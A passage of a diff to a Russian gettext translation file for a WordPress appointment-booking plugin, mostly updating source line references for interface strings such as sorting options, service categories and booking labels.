assets\u002Fjs\u002Fgutenberg-blocks.js:11614\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12539\n msgid \"Post name (post slug)\"\n msgstr \"Имя записи (слаг записи)\"\n \n@@ -1875,9 +1865,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:187\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11616\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11887\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11617\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11888\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12542\n msgid \"Post date\"\n msgstr \"Дата записи\"\n \n@@ -1888,9 +1878,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:188\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11619\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11890\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12544\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11891\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12545\n msgid \"Last modified date\"\n msgstr \"Дата последнего изменения\"\n \n@@ -1901,9 +1891,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:189\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11622\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11893\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11623\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11894\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12548\n msgid \"Random order\"\n msgstr \"Случайный порядок\"\n \n@@ -1914,9 +1904,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:190\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11625\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11896\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11626\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11897\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12551\n msgid \"Relevance\"\n msgstr \"Релевантность\"\n \n@@ -1930,10 +1920,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:191\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:48\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:48\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11628\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11899\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12211\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12553\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11629\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11900\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12212\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12554\n msgid \"Page order\"\n msgstr \"Порядок страницы\"\n \n@@ -1944,9 +1934,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:133\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:192\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:49\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11631\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11902\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12556\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11632\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11903\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12557\n msgid \"Page order and post title\"\n msgstr \"\"\n \n@@ -1966,10 +1956,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:202\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:67\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:62\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11634\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11905\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12214\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12562\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11635\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11906\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12215\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12563\n msgid \"Order\"\n msgstr \"Порядок\"\n \n@@ -1981,10 +1971,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:146\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:178\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:206\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11641\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11912\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12221\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12569\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11642\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11913\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12222\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12570\n msgid \"DESC\"\n msgstr \"\"\n \n@@ -1998,24 +1988,24 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:207\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:42\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11644\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11915\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12224\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12572\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11645\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11916\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12225\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12573\n msgid \"ASC\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeSocialNetworksModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeSocialNetworksShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13481\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13482\n msgid \"Employee Social Networks\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeTitleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeTitleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12867\n msgid \"Employee Title\"\n msgstr \"\"\n \n@@ -2023,7 +2013,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:29\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11963\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11964\n msgid \"Locations List\"\n msgstr \"\"\n \n@@ -2045,9 +2035,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:72\n #: includes\u002Fpost-types\u002FLocationPostType.php:124\n #: includes\u002Fpost-types\u002FServicePostType.php:164\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11837\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12123\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12482\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n msgid \"Categories\"\n msgstr \"Категории\"\n \n@@ -2063,9 +2053,9 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:61\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:64\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:86\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11839\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12125\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12484\n msgid \"Comma-separated slugs or IDs of categories that will be shown.\"\n msgstr \"\"\n \n@@ -2075,26 +2065,26 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:149\n #: includes\u002Fpost-types\u002FServicePostType.php:252\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:31\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12272\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12273\n msgid \"Service Categories\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:37\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:53\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12098\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12099\n msgid \"Show Services Count?\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:63\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12106\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12107\n msgid \"Show Description?\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:73\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12114\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n msgid \"Parent\"\n msgstr \"\"\n \n@@ -2102,14 +2092,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:76\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:57\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:58\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12116\n msgid \"Parent term slug or ID to retrieve direct-child terms from.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:69\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:93\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:68\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12132\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n msgid \"Exclude Categories\"\n msgstr \"\"\n \n@@ -2117,21 +2107,21 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:69\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:69\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12134\n msgid \"Comma-separated slugs or IDs of categories that will not be shown.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:75\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:103\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12141\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n msgid \"Hide Empty\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:85\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:114\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:80\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12150\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n msgid \"Depth\"\n msgstr \"\"\n \n@@ -2139,14 +2129,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:115\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:81\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:79\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12152\n msgid \"Display depth of child categories.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:127\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:88\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12160\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n msgid \"Number\"\n msgstr \"\"\n \n@@ -2154,56 +2144,56 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:128\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:89\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:24\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12162\n msgid \"Maximum number of categories to show.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:126\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:158\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12190\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12191\n msgid \"Term name\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:159\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12193\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12194\n msgid \"Term slug\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:160\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12196\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12197\n msgid \"Term ID\"\n msgstr \"ID термина\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:161\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12199\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12200\n msgid \"Parent ID\"\n msgstr \"Родительский ID\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:162\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12202\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12203\n msgid \"Number of associated objects\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:163\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12205\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12206\n msgid \"Keep the order of \\\"IDs\\\" parameter\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:132\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:164\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12208\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12209\n msgid \"Term order\"\n msgstr \"\"\n \n@@ -2211,35 +2201,35 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:24\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12621\n msgid \"Services List\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:73\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12432\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12433\n msgid \"Show service price.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:83\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12440\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12441\n msgid \"Show service duration.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:93\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12448\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12449\n msgid \"Show service capacity.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:87\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:103\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12456\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12457\n msgid \"Show service employees.\"\n msgstr \"\"\n \n@@ -2247,7 +2237,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:116\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:61\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12466\n msgid \"Comma-separated slugs or IDs of services that will be shown.\"\n msgstr \"\"\n \n@@ -2255,7 +2245,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:126\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:67\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:81\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12475\n msgid \"Comma-separated slugs or IDs of employees that perform these services.\"\n msgstr \"\"\n \n@@ -2263,7 +2253,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:143\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:78\n #: includes\u002Fpost-types\u002FServicePostType.php:210\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12491\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n msgid \"Tags\"\n msgstr \"Теги\"\n \n@@ -2362,7 +2352,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:105\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:75\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12143\n msgid \"Hide terms not assigned to any posts.\"\n msgstr \"\"\n \n@@ -2620,10 +2610,10 @@\n #: includes\u002Femails\u002Ftags\u002Fbooking\u002FBookingLeftToPayTag.php:19\n #: templates\u002Femails\u002Fadmin\u002Fadmin-approved-booking-email.php:29\n #: templates\u002Femails\u002Fcustomer\u002Fcustomer-approved-payment-email.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:6018\n-#: assets\u002Fjs\u002Felementor-widgets.js:6018\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6457\n-#: assets\u002Fjs\u002Fpublic.js:6018\n+#: assets\u002Fjs\u002Fdivi-modules.js:6019\n+#: assets\u002Fjs\u002Felementor-widgets.js:6019\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6458\n+#: assets\u002Fjs\u002Fpublic.js:6019\n msgid \"Left to pay\"\n msgstr \"\"\n \n@@ -2843,11 +2833,11 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:48\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:51\n #: assets\u002Fjs\u002Fcalendar-page.js:38070\n-#: assets\u002Fjs\u002Fdivi-modules.js:2858\n-#: assets\u002Fjs\u002Fedit-post.js:4314\n-#: assets\u002Fjs\u002Felementor-widgets.js:2858\n+#: assets\u002Fjs\u002Fdivi-modules.js:2859\n+#: assets\u002Fjs\u002Fedit-post.js:4315\n+#: assets\u002Fjs\u002Felementor-widgets.js:2859\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:431\n-#: assets\u002Fjs\u002Fpublic.js:2858\n+#: assets\u002Fjs\u002Fpublic.js:2859\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:300\n msgid \"Clients\"\n msgstr \"\"\n@@ -2909,13 +2899,13 @@\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:313\n #: includes\u002Fstructures\u002FTimePeriod.php:294\n #: assets\u002Fjs\u002Fcalendar-page.js:38145\n-#: assets\u002Fjs\u002Fdivi-modules.js:3569\n+#: assets\u002Fjs\u002Fdivi-modules.js:3570\n #: assets\u002Fjs\u002Fedit-post.js:2101\n-#: assets\u002Fjs\u002Fedit-post.js:4846\n-#: assets\u002Fjs\u002Fedit-post.js:8800\n-#: assets\u002Fjs\u002Felementor-widgets.js:3569\n+#: assets\u002Fjs\u002Fedit-post.js:4847\n+#: assets\u002Fjs\u002Fedit-post.js:8801\n+#: assets\u002Fjs\u002Felementor-widgets.js:3570\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:1855\n-#: assets\u002Fjs\u002Fpublic.js:3569\n+#: assets\u002Fjs\u002Fpublic.js:3570\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:1620\n msgid \"All day\"\n msgstr \"Весь день\"\n@@ -2924,12 +2914,12 @@\n #: includes\u002Ffields\u002Fcomplex\u002FDaysOffField.php:100\n #: templates\u002Fshortcodes\u002Fbooking\u002Fcart\u002Fadmin-cart-item.php:113\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:72\n-#: assets\u002Fjs\u002Fdivi-modules.js:5975\n+#: assets\u002Fjs\u002Fdivi-modules.js:5976\n #: assets\u002Fjs\u002Fedit-post.js:2051\n #: assets\u002Fjs\u002Fedit-post.js:2283\n-#: assets\u002Fjs\u002Felementor-widgets.js:5975\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6414\n-#: assets\u002Fjs\u002Fpublic.js:5975\n+#: assets\u002Fjs\u002Felementor-widgets.js:5976\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6415\n+#: assets\u002Fjs\u002Fpublic.js:5976\n msgid \"Remove\"\n msgstr \"Удалить\"\n \n@@ -3036,7 +3026,7 @@\n \n #. Translators: %s: Location name, like \"Barbershop\".\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:241\n-#: assets\u002Fjs\u002Fedit-post.js:8815\n+#: assets\u002Fjs\u002Fedit-post.js:8816\n #, php-format,js-format\n msgctxt \"Working at %s\"\n msgid \"at %s\"\n@@ -3259,11 +3249,11 @@\n \n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:50\n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:122\n-#: assets\u002Fjs\u002Fdivi-modules.js:6056\n+#: assets\u002Fjs\u002Fdivi-modules.js:6057\n #: assets\u002Fjs\u002Fedit-post.js:1602\n-#: assets\u002Fjs\u002Felementor-widgets.js:6056\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6495\n-#: assets\u002Fjs\u002Fpublic.js:6056\n+#: assets\u002Fjs\u002Felementor-widgets.js:6057\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6496\n+#: assets\u002Fjs\u002Fpublic.js:6057\n msgctxt \"Zero price\"\n msgid \"Free\"\n msgstr \"Свободно\"\n@@ -3348,33 +3338,33 @@\n msgid \"You can add a new log message here and press Update to save it\"\n msgstr \"\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:49\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:50\n #: includes\u002Fpost-types\u002FCouponPostType.php:60\n #: templates\u002Fshortcodes\u002Fbooking\u002Fsections\u002Fcoupon-section.php:14\n msgid \"Coupon\"\n msgstr \"Купон\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:55\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:56\n msgid \"Reserved Services\"\n msgstr \"\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:59\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:60\n #: includes\u002Fmetaboxes\u002Fpayment\u002FPaymentDetailsMetabox.php:38\n msgid \"Payment Details\"\n msgstr \"Детали оплаты\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:65\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:66\n msgid \"Booking Price\"\n msgstr \"\"\n \n #. Translators: %d: Booking ID.\n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:141\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:142\n #: includes\u002Frepositories\u002FBookingRepository.php:113\n #, php-format\n msgid \"Booking #%d\"\n msgstr \"Бронирование #%d\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:186\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:187\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:144\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:295\n msgid \"Sorry, the selected time slot is already booked.\"\n@@ -3950,38 +3940,38 @@\n msgid \"Pay with your credit card via Stripe. Use the card number 4242424242424242 with CVC 123, a valid expiration date and random 5-digit ZIP-code to test a payment.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8384\n-#: assets\u002Fjs\u002Felementor-widgets.js:8384\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8823\n-#: assets\u002Fjs\u002Fpublic.js:8384\n+#: assets\u002Fjs\u002Fdivi-modules.js:8385\n+#: assets\u002Fjs\u002Felementor-widgets.js:8385\n+#: 